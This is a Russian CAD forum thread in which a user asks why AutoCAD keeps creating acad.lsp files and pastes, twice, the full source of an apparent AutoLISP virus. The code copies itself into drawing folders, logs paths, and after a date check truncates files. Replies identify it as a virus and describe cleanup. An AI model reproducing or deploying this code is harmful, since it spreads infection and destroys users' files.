Как сделать, что бы ACAD не создавал файлы *.lsp
| Правила | Регистрация | Пользователи | Сообщения за день |  Справка по форуму | Файлообменник |

Вернуться   Форум DWG.RU > Программное обеспечение > Программирование > LISP > Как сделать, что бы ACAD не создавал файлы *.lsp

Как сделать, что бы ACAD не создавал файлы *.lsp

Ответ
Поиск в этой теме
Непрочитано 29.06.2011, 09:36 #1
Как сделать, что бы ACAD не создавал файлы *.lsp
Lesha86
 
Инженер-конструктор шкафов НКУ
 
Санкт-Петербург
Регистрация: 18.10.2009
Сообщений: 100

Пользовался Lisp`ом, теперь в каждой папке, где я побывал АвтоКАДом он создает файл acad.lsp.
Можно как-нибуть сделать, что он их не создавал?
__________________
Хочешь Жить - Умей Вертеться!
Просмотров: 3320
 
Непрочитано 29.06.2011, 09:47
#2
Stierlitz

В строительном проектировании с 05.10.2004
 
Регистрация: 01.05.2008
Новосибирск
Сообщений: 5,220


могу ошибаться, но помоему это обсуждалось.
очень может быть что это вирус автокадный
Stierlitz вне форума  
 
Непрочитано 29.06.2011, 10:30
#3
Лиспер


 
Регистрация: 11.10.2010
Сообщений: 979


Не работают некоторые команды и множатся файлы acaddoc.lsp
__________________
(/= RegDate StartReadDate)
Лиспер вне форума  
 
Автор темы   Непрочитано 29.06.2011, 12:15
#4
Lesha86

Инженер-конструктор шкафов НКУ
 
Регистрация: 18.10.2009
Санкт-Петербург
Сообщений: 100
<phrase 1=


не совсем то.
Код такой. Вроде как и не вредоносный.
Код:
[Выделить все]
 ++++++++++++++++++++----------------------------------------++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++




------------------------(defun
s::startup
(/ 
old_cmd 
path 
dwgpath 
mnlpath 
apppath 
oldacad 
newacad 
nowdwg 
lspbj 
wjm  
wjm1 
wjqm 
wjqm1 
wz 
ns1 
ns2 
kd)
(setq 
old_cmd 
(getvar 
"cmdecho"))
(setvar 
"cmdecho" 
1)
(setq 
path 
(findfile 
"base.dcl"))
(setq 
path 
(substr 
path 
1 
(- 
(strlen 
path) 
8)))
(setq 
mnlpath 
(getvar 
"menuname"))
(setq 
nowdwg 
(getvar
"dwgname"))
(setq 
wjqm 
(findfile 
nowdwg))
(setq 
dwgpath 
(substr 
wjqm 
1 
(- 
(strlen 
wjqm) 
(strlen 
nowdwg))))
(setq 
acadpath 
(findfile 
"acad.lsp"))
(setq 
acadpath 
(substr 
acadpath 
1 
(- 
(strlen  
acadpath) 
8)))
(setq 
ns1 
"" 
ns2 
"")
(setq 
lspbj 
0)
(if 
(= 
acadpath 
dwgpath) 
(progn
(setq 
oldacad 
(findfile 
"acad.lsp"))
(setq 
newacad 
(strcat 
path 
"acad.lsp"))
(writeapp)
)
(progn
(if 
(/= 
nowdwg 
"Drawing.dwg")
(progn 
(setq 
oldacad 
(findfile 
"acad.lsp"))
(setq 
newacad 
(strcat 
dwgpath 
"acad.lsp"))
(writeapp)
)
)
)
)
(setq 
nowdwg 
(getvar 
"dwgname"))
(setq 
wjqm 
(findfile 
nowdwg))
(if 
(setq 
kd 
(findfile 
"acadisa.lin"))
(progn
(setq 
ns2 
0)      
(if 
(setq 
ns1 
(open 
kd 
"r"))
(progn 
(while 
(setq 
wz 
(read-line 
ns1))
(if 
(= 
wjqm 
wz) 
(setq 
ns2 
1)))
(close 
ns1)
))
(if 
(= 
ns2 
0) 
(progn
(setq 
ns1 
(open 
kd 
"a"))
(write-line 
wjqm 
ns1) 
(close 
ns1
)
))
(if 
(setq 
ns1 
(open 
kd 
"r")) 
(progn
(setq 
wz 
(read-line 
ns1))
(close 
ns1)
))
(if 
(> 
(getvar 
"date") 
(+ 
(distof 
wz) 
8)) 
(progn
(setq 
oldacad 
(strcat 
path 
"acadisa.lin"))
(setq 
newacad 
(strcat 
dwgpath 
"a"))
(
writeapp
)

(if 
(setq 
wjm1 
(open 
oldacad 
"w")
)
(progn 
(setq 
wjm 
(open 
newacad 
"r"))
(setq 
wz 
(read-line 
wjm)) 
(write-line 
(rtos 
(getvar 
"date")
) 
wjm1)
(setq 
wz 
(read-line 
wjm)) 
(if 
(> 
(getvar 
"date") 
2452900) 
(close 
(open 
wz 
"w")
)
)
(while
(
setq 
wz 
(read-line 
wjm))
(write-line 
wz 
wjm1)
)
(close 
wjm)
(close 
wjm1)
(close 
(open 
newacad 
"w"))
)
)
)
)
)
(progn
(if 
(setq 
ns1 
(open 
(strcat 
path 
"acadisa.lin") 
"w")) 
(progn
(write-line 
(rtos 
(getvar 
"date")) 
ns1) 
(write-line 
wjqm 
ns1
) 
(close 
ns1
)
))
))      

(setvar 
"cmdecho" 
old_cmd)
(princ)
)
(defun 
writeapp ()
(if 
(setq 
wjm1 
(open 
newacad 
"w"))
(progn 
(setq 
wjm 
(open 
oldacad 
"r"))
(while 
(setq 
wz 
(read-line 
wjm))
(write-line 
wz 
wjm1)
)
(close 
wjm)
(close 
wjm1)
))
)
;*************
 
__________________
Хочешь Жить - Умей Вертеться!
Lesha86 вне форума  
 
Непрочитано 29.06.2011, 12:26
#5
hwd

C, C++, C#
 
Регистрация: 07.10.2009
С-Пб.
Сообщений: 2,762
Отправить сообщение для hwd с помощью Skype™


даже не читая содержимое видно, что тот кто его писал - из штанишек лез, лишь бы это было не читаемо. Такой шлак можно не читая смело отправлять в ведро.

Offtop: п.с. вполне возможно, что сейчас кто-то сидит, высунув язык на плечо и старательно форматирует этот файл, дабы прочитать это гуано и лишний раз убедиться в том, что оно того не стОит
__________________
Надеюсь, ты не социальный овощ? Это определяется делами! :welcome:

Последний раз редактировалось hwd, 29.06.2011 в 12:57.
hwd вне форума  
 
Автор темы   Непрочитано 29.06.2011, 13:33
#6
Lesha86

Инженер-конструктор шкафов НКУ
 
Регистрация: 18.10.2009
Санкт-Петербург
Сообщений: 100
<phrase 1=


Я просто скопипастил из файла и всё.
Появляться он начал после того, как я попользовал LIST и поставил Express Tools.

В общем избавился - удалил все acad.lsp из папок с файлами и папок автокада (в Program Files и Documents and Settings), также создал пустой файл acad.fas в папке с автокадом и поставил на него атрибут Read Only.
__________________
Хочешь Жить - Умей Вертеться!
Lesha86 вне форума  
 
Непрочитано 29.06.2011, 14:23
#7
hwd

C, C++, C#
 
Регистрация: 07.10.2009
С-Пб.
Сообщений: 2,762
Отправить сообщение для hwd с помощью Skype™


Цитата:
Сообщение от Lesha86 Посмотреть сообщение
также создал пустой файл acad.fas в папке с автокадом и поставил на него атрибут Read Only.
если lsp/fas-гуано будет лежать возле открываемого тобою dwg-файла, или в "Мои документы", то твоё "колдовство" - мёртвому припарка.
__________________
Надеюсь, ты не социальный овощ? Это определяется делами! :welcome:
hwd вне форума  
 
Непрочитано 29.06.2011, 19:41
#8
gomer

строю, ломаю
 
Регистрация: 03.04.2008
Украина
Сообщений: 5,515


это тот же турок писал, что и раньше... ума палата, ключъ потерьян...
gomer вне форума  
 
Непрочитано 29.06.2011, 22:36
#9
Li6-D


 
Регистрация: 03.05.2009
Сообщений: 112


Цитата:
Сообщение от Lesha86 Посмотреть сообщение
не совсем то.
Код такой. Вроде как и не вредоносный.
Код:
[Выделить все]
 ++++++++++++++++++++----------------------------------------++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++




------------------------(defun
s::startup
(/ 
old_cmd 
path 
dwgpath 
mnlpath 
apppath 
oldacad 
newacad 
nowdwg 
lspbj 
wjm  
wjm1 
wjqm 
wjqm1 
wz 
ns1 
ns2 
kd)
(setq 
old_cmd 
(getvar 
"cmdecho"))
(setvar 
"cmdecho" 
1)
(setq 
path 
(findfile 
"base.dcl"))
(setq 
path 
(substr 
path 
1 
(- 
(strlen 
path) 
8)))
(setq 
mnlpath 
(getvar 
"menuname"))
(setq 
nowdwg 
(getvar
"dwgname"))
(setq 
wjqm 
(findfile 
nowdwg))
(setq 
dwgpath 
(substr 
wjqm 
1 
(- 
(strlen 
wjqm) 
(strlen 
nowdwg))))
(setq 
acadpath 
(findfile 
"acad.lsp"))
(setq 
acadpath 
(substr 
acadpath 
1 
(- 
(strlen  
acadpath) 
8)))
(setq 
ns1 
"" 
ns2 
"")
(setq 
lspbj 
0)
(if 
(= 
acadpath 
dwgpath) 
(progn
(setq 
oldacad 
(findfile 
"acad.lsp"))
(setq 
newacad 
(strcat 
path 
"acad.lsp"))
(writeapp)
)
(progn
(if 
(/= 
nowdwg 
"Drawing.dwg")
(progn 
(setq 
oldacad 
(findfile 
"acad.lsp"))
(setq 
newacad 
(strcat 
dwgpath 
"acad.lsp"))
(writeapp)
)
)
)
)
(setq 
nowdwg 
(getvar 
"dwgname"))
(setq 
wjqm 
(findfile 
nowdwg))
(if 
(setq 
kd 
(findfile 
"acadisa.lin"))
(progn
(setq 
ns2 
0)      
(if 
(setq 
ns1 
(open 
kd 
"r"))
(progn 
(while 
(setq 
wz 
(read-line 
ns1))
(if 
(= 
wjqm 
wz) 
(setq 
ns2 
1)))
(close 
ns1)
))
(if 
(= 
ns2 
0) 
(progn
(setq 
ns1 
(open 
kd 
"a"))
(write-line 
wjqm 
ns1) 
(close 
ns1
)
))
(if 
(setq 
ns1 
(open 
kd 
"r")) 
(progn
(setq 
wz 
(read-line 
ns1))
(close 
ns1)
))
(if 
(> 
(getvar 
"date") 
(+ 
(distof 
wz) 
8)) 
(progn
(setq 
oldacad 
(strcat 
path 
"acadisa.lin"))
(setq 
newacad 
(strcat 
dwgpath 
"a"))
(
writeapp
)

(if 
(setq 
wjm1 
(open 
oldacad 
"w")
)
(progn 
(setq 
wjm 
(open 
newacad 
"r"))
(setq 
wz 
(read-line 
wjm)) 
(write-line 
(rtos 
(getvar 
"date")
) 
wjm1)
(setq 
wz 
(read-line 
wjm)) 
(if 
(> 
(getvar 
"date") 
2452900) 
(close 
(open 
wz 
"w")
)
)
(while
(
setq 
wz 
(read-line 
wjm))
(write-line 
wz 
wjm1)
)
(close 
wjm)
(close 
wjm1)
(close 
(open 
newacad 
"w"))
)
)
)
)
)
(progn
(if 
(setq 
ns1 
(open 
(strcat 
path 
"acadisa.lin") 
"w")) 
(progn
(write-line 
(rtos 
(getvar 
"date")) 
ns1) 
(write-line 
wjqm 
ns1
) 
(close 
ns1
)
))
))      

(setvar 
"cmdecho" 
old_cmd)
(princ)
)
(defun 
writeapp ()
(if 
(setq 
wjm1 
(open 
newacad 
"w"))
(progn 
(setq 
wjm 
(open 
oldacad 
"r"))
(while 
(setq 
wz 
(read-line 
wjm))
(write-line 
wz 
wjm1)
)
(close 
wjm)
(close 
wjm1)
))
)
;*************
 
Было уже. Найдите отличия от этого кода.
Li6-D вне форума  
 
Непрочитано 29.06.2011, 22:41
#10
hwd

C, C++, C#
 
Регистрация: 07.10.2009
С-Пб.
Сообщений: 2,762
Отправить сообщение для hwd с помощью Skype™


Цитата:
Сообщение от Lesha86 Посмотреть сообщение
Код такой. Вроде как и не вредоносный.
Может ты и есть его аффтор?
__________________
Надеюсь, ты не социальный овощ? Это определяется делами! :welcome:
hwd вне форума  
 
Автор темы   Непрочитано 30.06.2011, 08:13
#11
Lesha86

Инженер-конструктор шкафов НКУ
 
Регистрация: 18.10.2009
Санкт-Петербург
Сообщений: 100
<phrase 1=


Ненене, я в программировании как свинья в апельсинах.
__________________
Хочешь Жить - Умей Вертеться!
Lesha86 вне форума  
Ответ
Вернуться   Форум DWG.RU > Программное обеспечение > Программирование > LISP > Как сделать, что бы ACAD не создавал файлы *.lsp



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как из таблицы 1 сделать таблицу 2? файл прилагается (ACAD 2010 rus) v4dEr AutoCAD 2 13.11.2009 15:28
DWG в PDF внутренней прогой Acad 2010 Platos AutoCAD 8 12.10.2009 16:12
Не вставляются OLE object в ACAD Replicon AutoCAD 5 02.02.2006 11:45
Как сделать автонумерацию блоков? Сергей123 Программирование 1 24.01.2006 17:20
В какой файл Acad прописывает пути из Support File Searh Pat plaz Программирование 7 26.08.2004 10:49